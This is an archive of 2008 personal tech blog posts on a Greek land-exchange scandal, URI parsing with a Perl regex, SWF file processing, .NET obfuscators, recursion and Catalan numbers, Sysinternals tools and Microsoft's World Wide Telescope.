This last one really cracked me up!!! :)

Greece Enters the Dark Ages

2008-09-09T18:12:00.000-07:00

I thought there were 2-3 jobs that meant a lot of money: being a footballer player, a singer or a politician. But being a priest or yet better a monk means a 6-figure salary in Greece too. In all seriousness Greece is officially (re)entering Dark Ages after the huge scandal of illegal real-estate transactions among politicians, monasteries and offshore companies, came out to public. Along with a taste of disgust over recent cover ups of tax evasion tactics from prominent ministers of the Greek government, the public is haunted by a strange feeling of anger and despair.

In our new quest to plot the "grid of corruption" (remember Zachopoulos and Tsekou?), let's get down to the facts.

The players in this 'wild' scandal game are:

The Vatopedi Monastery of Agion Oros
Petros Doukas, vice minister
Aggelos Basiakos, former minister
Theodoros Roussopoulos, goverment press representative
Mara Zacharea, journalist
Giorgos Voulgarakis, minister
Aikaterini Kelpeki, lawyer
and finally...Kostas Karamanlis, Prime Minister

The Scandal:

Briefly to present the facts:

In 2002, the National Council of Public Estate, admits the Monastery of Vatopedi to be the legal owner of 25,000,000 square metres (!) on the lake of Vistonida
In August of 2002, Vice Minister of Economy, accepts the former decision
During the same year, the same Council decides that the Monastery is the legal owner of any land on the lake of Vistonida
In 2003, Vice Minister of Economy signs the decision
In 2005, the Legal Council of Greece, decides that the Minister of Rural Development is able to order the National Estate Company to exchange estate properties
In 2005, the Minister of Rural Development applies his right and commands the National Estate Company to exchange properties with the Monastery in the area of Rodopi and Xanthi
In 2006, the Minister of Rural Development and the Vice Minister of Economy, instruct the National Estate Company to exchange with the Monastery of Vatopedi, national properties (real estate built during Athens Olympics) for the lake of Vistonida
The national properties get highly undervalued while the lake of Vistonida receives an outstanding overvalue
In 2007, the exchanges take place
The monastery sells Olympic properties to off-shores from Cyprus

Let's see connect the bullets with the actual players:

The Vatopedi Monastery

This monastery (photo) is among the many monasteries and churches to be found on the Athos Mount, in the same peninsula. Mount Athos is independent from Greece and is a very famous visiting place, although only for men. The Vatopedi Monastery during the last years gathered around many Cypriots and is ruled by Εφραιμ(Efrem), a monk with distinct social connections. Efrem 'pioneered' a new type of religious activities. He used to transfer important sacred religious objects to highly powerful people (businessmen, prime ministers etc). This allegedly helped him create a very powerful social network (facebook is a joke).

The Vatopedi Monastery around 1998 started a crusade against the official state claiming ownership of numerous real estates and land. In the most infamous legal battles, the monastery backed up its allegations based on decisions from Byzantine Emperors, dating back to 1900!

In 2002, the National Council for Real Estate, recognized the monastery as the owner of 25,000,000 square metres, around the lake of Vistonida. However, to actually own it, the signature of a minister was needed.

Petros Doukas- Former Vice Minister of Economy

Petros Doukas (photo), now Vice Minister of External Affairs, was a Vice Minister of Economy, during the "hot" period. As a public figure, I think people like him. Calm and reasonable as a person, he didn't do anything to cause any trouble, despite his heavy political duties.

Mr Doukas is accused of having signed the infamous decision to hand the lake of Vistonida over to the monastery. From his side, he has denied all accusations. In his blog one can read: "I found out that from 1999 to 2003, the case was closed, and the lake of Vistonida belonged to the monastery of Vatopedi. The Council for Real Estate is under the Minister of Economy, but acts independetly, which means I do not influence a single member of it...The Minister of Rural Development decided to exhange properties with the monastery due to public pressure."

Aggelos Basiakos - Former Minister of Rural Development

Mr Basiakos(photo) was among the "legion" of the Prime Minister, a faithful and close partner. Mr Basiakos is accused of taking the action to exchange properties with the monastery. It should be noted that this right to give such orders was decided the same year by the Legal Council. At speed light, Mr Basiakos applied his 'legal' rights. At first, Mr Basiakos ordered for exchanges of appartments and houses and in 2006 co-decided with the Minister of Economy to exchange the Lake of Vistonida.

Mr Basiakos, of course , has denied all accusations. A very interesting fact is that the Vice Minister of Rural Development at that time, had resigned, and the reason was, as he now says, great political pressure to sign these decisions, to which he was strongly opposed against.

Theodoros Roussopoulos

Former-journalist, Mr Roussopoulos(photo) is the invisible force that really governs Greek media today. He is very close to Prime Minister and enjoys complete support for whatever he does. Inside the government party, Mr Roussopoulos is considered an 'outlander', a man who immediately climbed up the party's stairs, but no serious objections were raised (until now) since he is a major factor of the party's resurrection. Among his many duties, Mr Roussopoulos distributes the multi-million national advertisement funds to TV and radio stations.

Mr Roussopoulos appears to have very strong relations with Efraim and the monastery of Vatopedi and also to be the owner of several luxury estates (that arose during his government duties), while in the annual report for politicians' wealth, he claims his wife as the prime income source...

Mara Zacharea

A prominent journalist in Greece, having worked in many media. Recently, Mrs Zacharea left the Alpha TV stationa after long fights and joined several newspaper and radio media, not only as a journalist but also as a shareholder. It should be noted that Alpha TV was the one that researched for the monastery scandal and brought it to the public.

Mrs Zacharea is supposed to have good relationships with Efrem and the monastery of Vatopedi. In the photo you can see an interview she had with Efrem in 2006.

Giorgos Voulgarakis

This man was brought up to be a politician. He recently faced heavy criticism for establishing private companies, transferring funds from Cyprus off-shore companies to avoid taxations. Mr Voulgarakis, now Minister of Mercantile Marine, has also served as a Minister of Interior. At the times when the deal was in full development, he was a Minister of Culture. Yes, this man is all-around..

Mr Voulgarakis is a misfortune. While Minister of Interior, the huge scandal of mobile phone interceptions broke out in 2007. Many high-level officials and even the Prime Minister, were tapped by an elaborate scam involving Vodafone and Ericsson Hellas. The tragedy escalated when a high-profile engineer of Vodafone, Costas Tsalikidis, commited "suicide" at the time interrogation was in progress. His family firmly and still insists it was a murder, but the case closed after a big fine on Vodafone Hellas.

At the time of the real estate scandal, Mr Voulgarakis was a Minister of Culture. His obscure role involves signing decisions of declaring land near Vistonida as non-archaeological sites. This allegedly made possible the exchange of this land with other state properties.

Now, Mr Voulgarakis has raised significant public discontent, after his tricks with offshore companies and Ltds, for tax evasion purposes, were revealed. He is now among the most wealthy Greek politicians(check out his watch in the photo), a state he reached only after he became one. Mr Voulgarakis was fairly insignificant as a professional and climbed up socially through his powerful connections and in-party activity. It is rumored that he will be soon removed from his government position.

Aikaterini Kelpeki

Mrs Kelpeki was the lawyer representing the Greek state in the disgraceful estate exchanges. On the other side of the deal, Mr Kelpekis, brother of Mrs Kelpeki, represented the Vatopedi monastery! Even more, Mr Kelpekis, father of this great family, is the lawyer of the Greek Orthodox Metropolis!!

In a recent unprecented attack to...everybody, Mr Kelpekis (the ..godfather), threatened that he will fight back any attempt to bring town Mr Voulgarakis. In his words : "Many, many others have strong relations with the Monastery of Vatopedi, but not Mr Voulgarakis. Stay away from him because I know too much!". Wow.

Kostas Karamanlis

What can we say...This man inherited a country at the age of 40. Being an insignificant member of the Parliament, from the day he was born, descending from the powerful political family in Greece, he didn't have to prove anything to become a Prime Minister. During his years, the country has faced one disaster after another: economy decadence, unemployment, poverty, huge fires, political unstability, and many, many scandals.

Mr Karamanlis appears to have strong relationships with the Mount of Athos. He has visited the Vatopedi Monastery several times and has personal relationships with Efrem. In summer of 2006 he spent 2 nights there, during his visit to Athos, which by protocol is off-schedule.

Now Solve the Puzzle

I tried to give a complete picture of the huge scandal that is unfolding right now in Greece. Now it is the time for you to solve the puzzle! It is tough but I will give some hints:

Aggelos Basiakos was very close to the Mr Karamanlis, but he is now vanished from public affairs
Mr Roussopoulos is married to Mrs Zacharea
Mr Voulgarakis is married to Mrs Kelpeki

Surprised?? Welcome to Greece. Γεια σας!

More information:

A One-Line Code on How To Parse a URI

2008-09-05T17:09:00.000-07:00

Uniform Resource Identifiers(URI) is perhaps synonymous to the Internet itself. As the name implies it is used to identify something on the net. Typically a URI is a different than a URL(Uniform Resource Location) but in most cases we use them interchangeably.

Mathematically URI=URL+URN, which means an entity can be identified either by its location(URL) or its name(URN). See the relevant Wikipedia page for details.

Every URI has the following syntax:

(scheme)://(authority)(/path)?(query)#(fragment)

with query and fragment being optional. So in a URI like http://www.example.com/comment?id=1#1123, we have:

scheme="http"
authority="www.example.com"
path="/comment"
query="id=1"
fragment="1123"

A very common task is when we have to parse a URI into its components. The most usual case is URL normalization, which is essential for search crawlers. During this process, a URI is trinsformed into an equivalent canonical form, such that 2 different canonical forms cannot refer to the same resource. For example the URL http://www.example.com and the URL http://www.example.com:80 , are different but refer to the same location on the net. This greatly helps spiders retrieving every time pages they have not visited before. You can find a good article about URL normalization here.

To parse a URI using a regular expression is really easy. In fact the method to do this is given by Tim Berner's Lee (photo) himself in the RFC for the URI standard. Using Perl, if $uri has the URI then by applying

$uri =~ /^(([^:\/\?#]+):)?(\/\/([^\/\?#]*))?([^\?#]*)(\?([^#]*))?(#(.*))?/;

Then:
scheme=$2
authority=$4
path=$5
query=$7
fragment=$9

That's it! All languages (C#, Java etc) has an almost identical syntax and it is straightforward to port it there given that $n refers to the n-th group.

Everybody Said Something, So Will I: Google Chrome!

2008-09-02T15:28:00.000-07:00

Google launched a new browser named Chrome. You can find it here http://www.google.com/chrome. It is still beta and based on historical evidence it shall remain so for approximately NaN years.

Its main features are

Omnibox(Opera),
tabs (Firefox),
fast rendering (WebKit),
new Javascript engine (JIT technology) and ..
security(?)

People say it is the biggest news since Big Bang, DOL says we'll see. Let's get back to work now.

Processing SWF Files With Perl - Part I

2008-08-14T17:34:00.000-07:00

Flash is a very popular technology, at the heart of what we call Rich Internet Applications. Most commonly we interact with it through the SWF file format (ShockWave Flash files like games, web pages intros, etc) or FlashVideo (flv like what else, YouTube) The technology is not from Mars however and started in 1997. It gained wide popularity due to its integration with IE 5 back in 1999. Read here for more.

Flash is really everywhere and there is a tremendous amount of information in these files: music, text, video, etc. However, for the most part all this is invisible to search engines. A slight progress was made when Adobe released an SDK for processing SWF files, in specific converting swf files to html. I got this early upon release (you had to make a registration or something) but now I canot find it anymore..The closest I could get was this page. In which Adobe people explain how wonderfully they work with Google people to enhance searchability of flash content.

Anyway, there is not really an SDK, just an exe file to make the conversion.I do not know if search people have access to much greater functionality, but for now this is Maybe you have noticed some weird html code when you google search for swf files. Well, this is how bad this tool is. But don't worry! You can always use the official SWF spec.

Using Perl for this task requires patience and attention. I ran into several problems when writing the code. In this part I am going to refer only to the things to pay attention to (could save you hours of work) and also a short description of the SWF header format. In the next post, I will post the code.

Things to take care of:

Perl loves text and using it in binary mode might get dirty. For example, when read is called by default you will get the ASCII character from the file you are reading. In this case you have to binmode the file handler, but even if I did that I didn't get what I expected on a Windows machine. I had to ord the byte read to get the actual byte value.
Shift operators like >> or << style="font-weight: bold;">CPAN module. For example, if you want to read 10 bytes as one value then you need to avoid shifting because an overflow is sure to occur
SWF files come frequently compressed. This mean you will have to use the Compress::Zlib module (which is actually an interface the respective IO module)

In the next post we will get down to the code. If you want to give it a try on your own, the SWF header consists of:

3 bytes for signature
1 byte for Flash Version
4 bytes for file length
a RECT structure for frame size
2 bytes for frame rate
2 bytes for frames count

Discovery of Day: Flash version 255 will be the last one!! :)

Terry Childs, Or When Admins Get Furious

2008-07-18T08:53:00.000-07:00

Normally I do not write about news stories, and this would be a shift from talking about freeware pocket pc software, mobile tv players or mobile radio technologies. But this story is really funny and I would also like to strongly support a fellow programmer.

Terry Childs was a respected computer engineer in the Dept. of Technology in San Francisco. As an administrator he had access to all kinds of sensitive information and systems. What happened is that one day, Terry decided to lock everybody off the maintenance account of the city's network. No damage was made to data but he is the only one that can fix it if something goes wrong. He made himself unsubstitutable.

Why did he do that? Some say he is a maniac others say he is protesting against the arrogance of the city's management team. Whatever the truth this seems to be one of the most striking examples of inside attacks.

Cisco has been called to help crack the account while Terry remains silent in his jail cell, with a 5M $ bail. Free Terry!

Wi-Not Mobile: A Different Pocket PC Freeware Application

2008-07-15T06:12:00.001-07:00

[This article discusses a new freeware application for Windows Mobile devices, in the creation of which I feel excited to have participated. It is called Wi-Not Mobile and can be found in this site]

You may have noticed for some time the link on the right. It points to a new mobile platform we built, a limited number of talented professionals and me. Starting with silly little ideas, it quickly grew to integrate some research results of our personal projects. The result was Wi-Not Mobile, a mobile platform for information, communication and entertainment. Wi-Not Mobile is a freeware pocket pc application and you can find it here. It is on air for a week now and with limited or now advertising has far exceeded 1000 registered users and many more downloads. Here is a small tribute to this one-year full time effort and some technical details for those who are interested.

For a quick introduction here is a Youtube video, which tries to describe Wi-Not Mobile in 4 minutes:

We have received so much feedback, both good and bad and I feel really intrigued in trying to understand how others view this application and we are so enthusiastic we really see criticism as an opportunity. It may sound typical but it is true. Here is my understanding.

First of all, Wi-Not mobile is not an application. It is a platform and there is a perfect reason for that. The platform is a more general concept and solves much more difficult problems than an application. Wi-Not's platform defines a basic API which we later use to create all different functions that exist inside. Let's iterate through the various features to show how.

Wi-Not Mobile offers free web TV streams for your Pocket PC, but also the client to consume it. If we were limited to this (like tons of other popular TV playing programs) then Wi-Not would be an application. But we are not. TV streams in Wi-Not Mobile are updated automatically whenever there is an available new version of the TV channels. The same holds for the web radi o streams found in Wi-Not Mobile. This alone does make an excuse for the term 'platform' but the story is not over yet.

The Instant Messaging module of Wi-Not is a clean and efficient way to exchange messages. Of course it was not built to compete with already popular mobile IM clients (MSN Mobile and others). But there is something special inside that is actually a function that the underlying platform can support. It enables for automatic translation. For example, a user can define that he writes in Spanish, his friend define that he reads in Italian, and still be able to communicate in their native languages, a feature that at least for now cannot be found in any other IM mobile client.

Moving on to entertainment portion, we arrive to what we tenderly call "Wi-Lol". There is another trick here. What it can do? You simply type the game you want to play, and the module (using the platform's middeware) will locate free and available flash games to play in yo ur mobile. The difference with other similar functions is that we do not store a single byte of game content. So how is it done? The platform defines a search API, which can have many "flavors" (inheritance in programming words), and these can be a web search, game search, or a music search. Each of these kinds share some common properties (base class) but in the meantime have many differences. The game search module of the Wi-Not locates flash files and reports back available links. With the embedded flash player it is possible to play it on the fly!

There is also a great option for getting music on your pocket pc. We have put there a special media finder, which can accept keywords for your search and locate audio files. This is entirely new for a mobile application. Again, we do not store a single byte of audio content. With a hit rate of around 90% you will able to get the mp3 file you were looking for. Again the platform here plays the most crucial role. It is able to maintain places that are more probable to provide with an answer and also to dynamically find more.

I could really talk for hours about this stuff but I am sure it will bore most of the people. There are certainly many more posts coming about this effort. We are really excited about the outcome and ready to do more. There are also many hard lessons from releasing into public your creations and perhaps I should talk about it later.

Till then you are more than welcome to download Wi-Not Mobile from here and I would be grateful if you could provide with your thoughts about it. Have fun!

How I Selected A Good .NET Obfuscator

2008-07-12T15:08:00.000-07:00

This post describes how I searched a good .NET obfuscator, and the products I tested until my final decision. I hope it will be of help to anyone searching for a good obfuscator.

The last years I have been programming on .NET C#. This was not a big shift since my background was Java-centric. Days were passing by, playing, and creating simple utility programs for me and my friends, or some parts for an open source project.

These days of innocence, suddenly came to an end, when I had to engage in a real-world, professional .NET project. (This is actually Wi-Not Mobile, the link promoted in the top right of this blog). In this setting, software is a real investment. An investment of time, energy and of course ...money. Since every investment has to be protected from 'unprivileged entities' so does the software. Reverse engineering is your biggest enemy.

Reverse engineering is when we look to a system, and try to understand from its outputs, the mechanisms within. As always this can be used for good but also for bad purposes. The day we proved the big Gmail scam with G-Archiver, we reverse-engineered the malicious application, and this was certainly for a good purpose.

.NET and Java programs are very exposed to the experienced eye. To decode an unprotected Java class file, you will only need the Java Language Specification by your side, and a decent hex editor. The picture can become crystal clear and decompilers are able to create a perfect reconstruction of the original source file. The reason is that both the CLR and JRE are virtual machines. As such they were designed to be platform-independent, which means that they are both standarized. This standarization is used to attack them, and recover entire source files.

The most common protection is called obfuscation, and transforms an set of commands to another set, which does the same thing but which is hard to reverse engineer it. There are plenty of good in-depth articles on the web that lay out the problem really well. You can try reading this for example, which comes form the Microsoft and the MSDN magazine.

When I started searching for an obfuscator, I knew I had a big project in my hands. Wi-Not Mobile is over 60,000 lines of source code, which is not a small number! I first Dotfuscator which comes integrated with Visual Studio 2005. This is a fairly simple program that will do the job for very small programs, but totally inadequate for big projects. I abandonned it quite often.

I then came accross this article which had some guidelines on what to pay attention to. The first important lesson I learned was "Try Before You Buy". Always search for a product that ships with a trial version. Give it a try and then make up your mind. The second is to thoroughly check how you program behaves when obfuscated.

This blog post has a comprehensive list of many commercial obfuscators. First I gave a try to .Net Reactor. This is cheap compared to others and had a trial to check out. I tried a few times but I was not able to build the entire project. I kept getting dependency and I finally gave up. While its interface is clean, it has options that were troubling. For me, the process was made in my mind: When I select an executable all dependencies should be in front of my eyes immediately. This was my fundamental requirement.

Then I moved to Spices from 9Rays. The whole package includes obfuscation, decompilers and other tools, and I thought I would give it a try. However, I didn't still get my fundamentlal requirement. I finally took it running but it certainly didn't worth the price. Spices is one the most expensive products (about 1,200$!) of this area, and I couldn't put up with that.

Finally, I followed a thread in Channel 9 (which I seem not to find any more) which was suggesting {smartassembly}. I soon gave it a try, and amen, I felt happy to get an easy and clean start. My solution with my assemblies was laid before me in all their glory. I was able to follow a straightforward 8-9 step process, in which I could choose assembly merging options, string encoding and other. My project was built fast and was working from the first run.

Our team then focused on {smartassembly}. We went through all of our application scenarios and double/triple-checked if it played well. This part is really important. Bear in mind that obfuscation might yield problems in program execution that you might not grasp at the first run. Wi-Not Mobile has a hell of scenarios and we tested them all. Finally a subtle problem arose, a teeny-tiny detail which was making our communication module silent. We quickly found out that this was an encoding problem which we together solved with {smartassembly} support. This is another crucial requirement. The software product must have people behind to support you, and {smartassembly} deserves a credit for this.

All in all we were quite happy with what we had. Our obfuscator has a great UI for obfuscation, it has great functionality, a medium cost and very good support. All in all, it turned out to have a perfect cost per value. After a 10-day test, and ensuring that obfuscation was perfectly functional, we purchased the program and lived happily thereafter.

Another Riemann Hypothesis Solution From Purdue?

2008-07-02T12:16:00.000-07:00

Well, it seems that the mathematics department of the Purdue University is really obsessed with the Riemann Hypothesis, as Xian-Jin Li published a proof of the legendary mathematical problem. However this is not the first time that Purdue disturbs the mathematical society with a Riemann Hypothesis solution. The most recent attempt was in June 2004 but was not convincing enough.

The Riemann function ζ(s) is a complex function and is defined as the sum of terms 1/(n^s) for all n to infinity. As a mathematical construct it seems to encode a great deal of information about number theory. One hit-example is the proof that there are no zeros of the ζ(s) function for which it holds: ζ(s)=0 => Re[s]=1. Here Re[.] is the real part of a complex number, e.g. if s=1+2.i then Re[s]=1. The above theorem is equivalent to the prime number distribution theorem which states that from numbers 1 to N, there are approximately N/logN primes, and ad infinitum the ratio of the 'density' of primes to N/logN tends to 1.

Now the Riemann Hypothesis states that if ζ(s)=0 => Re[s]= 1/2. It has been haunting mathematics for centuries now and its solution will have an award of 1.000.000$ from the Clay Mathematics Institute.

Now, many 'proofs' have been devised over the years which seems reasonable since many people have been obsessed with the problem. But it seems no other institution can match Purdue in its pursuit of the solution. The 'crusade' started with Louis De Brange, Professor of Mathematics at Purdue University. De Brange announced a solution in June 2004, which however fell in the dark by the mathematics community. The story continues with Xian-Jin Li who published yesterday a new proof of the hypothesis. You can find the document in ArXiv here. It is interesting to note that the Mathematics Genealogy Project reveals that Jin-Li is a student of De Brange in Purdue.

The proof is at the disposal of mathematicians who will try and test the correctness. It is an interesting case to have an eye on and who knows maybe Purdue took it right that time!

Cut My Right Brain

2008-06-20T17:22:00.000-07:00

Dr. Jill Taylor was working in Harvard, department of Psychiatry. Her main research interest was the study of mental illnesses. A decade ago she experienced stroke, which lasted almost 4 hours, which she was able to 'study' in real time.

In an inspiring -yet controversial- video talk, Dr Taylor describes her stroke in stunning theatrical detail, and the way this changed her life. She also talks about some basic stuff over brain function. Well, for developers, the brain is basically a dual core processor, the right and the left hemispheres, which have strictly distinct functions. The right processor is heavily multi-threaded and its main function is to sense the world and collect data from any possible source. On the other hand, the left processor works sequentially and constantly polls the right section for info, and then organizes the huge amount of raw data that the right processor is collecting. The sense of time, individuality and logic (and also stress) seems to stem from that portion too.

The stroke hit the left hemisphere, leading to loss of time sense, a feeling of euphoria, and finally a state which Dr Taylor says resembles nirvana. Below is the video, which certainly is worth 20 minutes of your time!
[UPDATE The video seems not working..Until it gets fixed by TED.com just visit http://www.ted.com/talks/view/id/229]

Catalan Numbers, Dyck Words and Robots Climbing Stairs

2008-06-02T12:41:00.000-07:00

Repeating is the very nature of recursion, so this article continues over from the p revious post over recursion and stack usage. If you don't remember the initial problem here it is again:

"Imagine a robot(say Asimo) that climbs up stairs and has one very simple function step() which succeeds with a probability p and climbs up one stair, and fails with a probability q and climbs down one stair, with p>q and p+q=1. Write a function step_up() guaranteeing that the robot will climb up exactly one stair."

It is easy to create a quick and dirty recursive solution:

void step_up() {

if(!step())
{
step_up();
step_up();
}

}

While this solution is not the best (a better one is provided also in the previous post with the while version), it is most interesting to calculate the number of times that step_up() will be called, in other words to calculate how large the stack size will be.

There were two solutions available: To calculate it analytically or use a recursive technique to do it. With the recursive technique we can set: If X is the number of average calls to step_up() then X = p.1+q.(1+2.X) which yields X = 1 / (p-q) . Both easy and really smart!

However, going analytically is much more difficult but it is most amusing! As I said in the previous post, going the analytical way would mean trouble. Trying it myself I left it unfinished when facing a difficult combinatorics sub-problem. By a really weird coincidence, today I stumbled upon a number of interesting combinatorics tools which could help solve it analytically once and for all!. Here is how it goes.

First, it is clear that is impossible that the step_up() function will be executed an even number of times, for each failed execution two more executions occur. We should wonder: What is the probability that the function will enter 1 time? Clearly it is p. What is the probability of entering 3 times? This would mean failing the first time and succeeding the other 2 times, a total probability of q.p.p = q.p^2. If we want to calculate how many times the function will be executed 5 times we will have to count all possible 'combinations'. We will follow the encoding X1-X2-X3-...-Xn , if we would like to denote a case where the function is executed n times where Xi is either F or S, meaning failure or success at step i respectively.

With this notation we have:
step_up() enters 1 time: Cases: S Combinations:1
step_up() enters 3 times: Cases: F-S-S Combinations:1
step_up() enters 5 times: Cases: F-F-S-S-S, F-S-F-S-S Combinations: 2
step_up() enters 7 times:
Cases: F-F-F-S-S-S-S, F-F-S-F-S-S-S, F-F-S-S-F-S-S, F-S-F-F-S-S-S, F-S-F-S-F-S-S
Combinations: 5

Stop here. There is one important property of every X-X-X-X.. string with n elements, which is that for any initial substring the number of S's is not greater than of the F's. Why? Because if this was the case , the robot would climb up one stair sooner than n steps! Cool! Now, one more thing: It is easy to establish that the last element of the every string will be S, which actually means that the last step of the robot will be to the upwards direction. Ok, this is clear. So let's formulate again the problem.

We have a string with two possible letters, F and S, of length 2.n, in which we have n F's and n S's and for every initial substring the number of S's does not exceed the number of F's. Now we want to calculate the number of all valid combinations for this case. But how to do that? Well, here comes the so-called Dyck words because what we described previously is what exactly how a Dyck word is defined! Now, there is this theorem that states that there exactly Cn Dyck words of length 2.n. What is Cn? But the Catalan numbers of course!

What are the Catalan numbers?? There are defined with the following equation

and they occur very often in combinatorics problems. In our problem they calculate all possible 'configurations' in which the step_up() function will be called exactly (2.n+1) times (Remember that the last step is always up, this means the last call is always successful). This means that the average calls of step_up() is calculated by, Now the generating function of the Catalan numbers in the following equation
is given by the equation
Using these equations in combination with the derivative of c(x) for the case with the n coefficient it is easy to arrive to to X = 1 / (p-q)

Wow! Recursion, probabilities, encoding, Dyck words, Catalan numbers, generating functions, all combined to arrive analytically to the complexity of the recursive function step_up()!! Now, what you will prefer, depends on you: Either an elegant and smart solution or a rigorous, brute but educating analytical approach! Your call!

Stack Wars

2008-05-22T09:15:00.000-07:00

Recursion is a hot potato for developers. It can be good and it can be bad. This little was what came to my mind when I recently encountered another programming puzzle in Lambda-The-Ultimate blog:

Imagine there is a robot that is programmed to climb up a ladder and has only one function in its API: step() which is a command to try and climb up one step. There are cases that the function fails and the robots falls down on step. Can you write a function step_up() which guarantees that the robot will climb up exactly one step?

Now there are several ways to do this but by far the most easy one is to think recursively: First of all we will have to use step(). Second, given that step_up() climbs up one step, then in case that the first call of step() fails then we should climb up two steps, which means to call the step_up() twice. This encodes into a nice little program:

void step_up()
{
if(!step())
{
step_up();
step_up();
}
}

That's it! We are done. No variables nor any complex control mechanisms. However we are not perfect yet! While it is easy to come up to a solution like the one above, a solution provided by another reader was amusingly better:

void step_up()
{
while(!step())
step_up();
}

The obvious improvement is code size and elegance, but there is still much more important things here and is called stack usage. The stack memory like any other but we use it in a very special way, using push/pop operations. When pushing an element, it is stored at the top of the stack and it is the first element we will get by popping. The stack's behavior makes it ideal for calling subroutines, and is therefore a core element of modular programming. This is why every modern processor has special assembly operations dedicated to the stack. When a method calls another, the arguments are pushed to the stack. If in turn the new method calls another one the arguments again are pushed to the stack and so on. While this is ideal for nested procedures, it may cause a problem, programmers usually refer to as stack overflow, describing the situation when the stack fills up.

So, another problem arises: How to calculate stack usage? In other words and in our case, how many times will step_up() be called? Well, this depends on your style. You can either take a deep breath and try to calculate it analytically or rely on recursiveness and devise smart solutions. For both our robot algorithms it is not easy to go with the 1st option. We will soon stumble upon some non-trivial combinatorics problems (try it yourself)

But there is a much more clever way to circumvent this. Let's say that step_up() is called on average X times. Let's consider also, that step() returns true with a probability p and false with the probability q, with p>q (obviously p+q=1)

Now for our 1st robot algorithm we get X = p.1 + q.(1+2.X) so by solving for X we get X = 1 / (1-2.q) or X = 1/(p-q)

For our second algorithm the situation is different, we have the while loop, so we basically have a sum that keeps looping as long as as step() returns false! This means that X = p.1+q.p.(1+X)+q.q.p.(1+2.X)+q.q.q.p.(1+3.X)...=p.1+q^n.p.(1+n.x) the sum extending to infinity. If we use the equation Σ n.q^n = q/(1-q)^2 we will finally get X = p/(p-q)

To conclude for the 1st robot algorithm the step_up() is called on average 1/(p-q) and for the second it is called p/(p-q). This means that besides being more elegant, the second solution is 1/p times better!! For example if p is a little greater than 0.5, say 0.55, the second solution uses almost 50% less stack storage!! If p is near 1, then both solutions are equal and if p < q both programs will crash with a stack overflow error.

A teeny tiny optimization in recursive code can really make the difference and this is what all this post is all about. If you still don't get it all about recursion see:... Recursion!

Today I Am Watching The Sky

2008-05-13T00:59:00.000-07:00

Finally it's here!
There was something missing in a recent article about the Microsoft World Wide Telescope and that was the actual software. Finally, it was released and now it is available for download from the official site.

These days have been pretty much tiring, so a nice trip on the Universe would be just what I need! (I have the feeling that in 10+years the previous phrase will have the literal meaning!) I hope to be back with my own experience with the WWT and until then I will be happy to share yours.

Sysinternals: The Essential Tools If You Have Redmonditis

2008-05-06T09:01:00.000-07:00

It has been some weeks now that my laptop had gone wild. The CPU fan kept working really loud for no apparent reason, then going silent again and repeating the same pattern over and over again. There was no apparent problem in the horizon: CPU usage was low, memory was ok, no suspicious processes running. Everything was fine. Just before going to buy a new laptop, I remembered having downloaded a bunch of Windows tools for system tasks (actually I have been using the Process Explorer for quite some time now).

I run the file monitor tool (FileMon) and found out quickly what was going on. A process named ServiceLayer.exe kept polling the disk every 2-3 seconds, exactly the rate at which the fan was being loud and silent. I shut it down and everything came back to normal, my nerves included.

Actually there is a number of applications that behave badly to our disks. In the top of the list is Skype.exe, the popular messaging tool that literally is flooding the disk with I/O operations. Its networking behavior is not appropriate either (why should it open the http port anyway?) Skype community is used to such problems. Anyway, the cause of my problem was from Nokia and its Nokia Connectivity Suite. If you have a Nokia phone and you have installed the software to connect your PC with your device, you may as well have it at your tasks list. The ServiceLayer.exe is an application(a service since it runs on background-no windows) that, if of course it is legal (could be malware for example), it may make the life hard for your PC.

But Windows Sysinternals can come to the rescue! You can find in the official Microsoft site a real treasure of tools that will reveal, anything you need to know about what your Windows machine is doing: Disk Utilities, Networking Tools,Process Utilities, you name it is there.
Their functions are limitless and it does not fit here to describe them fully.

So, the next time you will encounter a problem make sure you launch the appropriate Sysinternals tool. It is easy (the executables are small-some kBs), it is useful (really useful) and it is free. The best cure for everybody diagnosed with Redmonditis!

Microsoft's Big Bang: The World Wide Telescope

2008-04-30T17:07:00.001-07:00

I had came across a few months ago, an article saying something about Microsoft's new research project that was coming into light. It was from a former Microsoft employee, I guess, that on watching a demo of this project burst into tears-sorry but I seem not to be able to find the original article. I initially thought, "Well, Yet-Another-Viral-Campaign", and quickly forgot about that. After all, I am pretty much satisfied with Stellarium and I also know Google Sky is out there. Well, it seems I was totally wrong.

The project is named World Wide Telescope, and was created by Jim Gray, a computer scientist who received the Turing Award in 1998, joined Microsoft in 1995, embarked on this ambitious project 6 years ago (June 2002) but disappeared in 2007, during a short boat route to scatter his mother's ashes. From that time until now Microsoft is continuing his research with astonishing results, and based on the people that have experienced the new technology, it has by far no match out there. You can find his original paper here. It worths reading, trust me.

The World Wide Telescope is an integration of a thousand of technologies. For the user it is a great tool to virtually (or actually) roam into the universe. For computer scientists it is a fascinating theory put into breath-taking practice: federating data from multiple sources, correlating and producing new insights, to paraphrase a little. So, the WWT is a lot more than a new killer application: It is a Big Bang for Computer Science, since it manages to process multiple sources of huge amounts of data from astronomy sites such as http://SkyServer.SDSS.org/. This leads to better understanding over the data and making scientists more productive.

The computational challenge lies not only on the volume of the data which however scale to petabytes. The hardest challenge comes from the need to integrate heterogeneous data, its with its own format of course. This actually requires deep astronomy knowledge and strong processing capabilities. The creators of the WWT give a crystal clear example:

"A colleague challenged us to find “fast moving” asteroids. This was an excellent test case – our colleague had written a 12 page Tcl script that had run for 3 days on the flat files of the dataset. So we had a benchmark to work against. It took a long day to debug our understanding of the data and to develop an 18-line SQL query. The resulting query runs in a minute."

What the creators had to do, was to understand the format of the astronomical data to analyze and construct the proper (but sophisticated) SQL query. Their result was more than convincing and a strong proof that an idea like the WWT could actually be implemented. Now, can you guess why Jim Gray won the Turing Award?? That's right, for contributions to database and transaction processes. Of course, I might say!

But enough with the talk. Here you can find the video on TED where Microsoft first presents a glimpse of the World Wide Telescope. The official website is already up but the WWT is not yet available to the public. Enjoy grandma-Microsoft's new creation!

European ICT Report 2007: "Greece Sucks, Denmark Rules"

2008-04-20T12:19:00.000-07:00

I was recently in Brussels, having some work in the European Commission. Having finished and while waiting in the lounge of the building of our meeting, I grabbed a booklet, from the shelves around, titled "European Commission's Annual ICT Report: 2007". This special branch of the EU publishes every year statistics about the performance of its members in the area of Information and Communication Technologies.

I browsed immediately to the page talking about Greece but the phrase "among the lowest" kept showing over and over again in the text! The summary was: "Information Society in Greece is still developing slowly and on most indicators Greece is close to the bottom of the EU. There are signs of increasing gaps compared to other EU countries". Damn...EU also says Greece is among the lowest in broadband take-up, use of internet, eGovernment use, number of connected PC's in schools and ICT skills among employees.. Wow! We are also among the lowest nearly in every indicator.

